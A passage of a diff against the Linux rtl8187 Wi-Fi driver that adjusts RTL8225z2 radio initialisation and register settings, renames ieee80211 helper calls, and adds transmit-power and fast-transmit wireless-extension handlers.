tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-07-13 01:46:24.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ 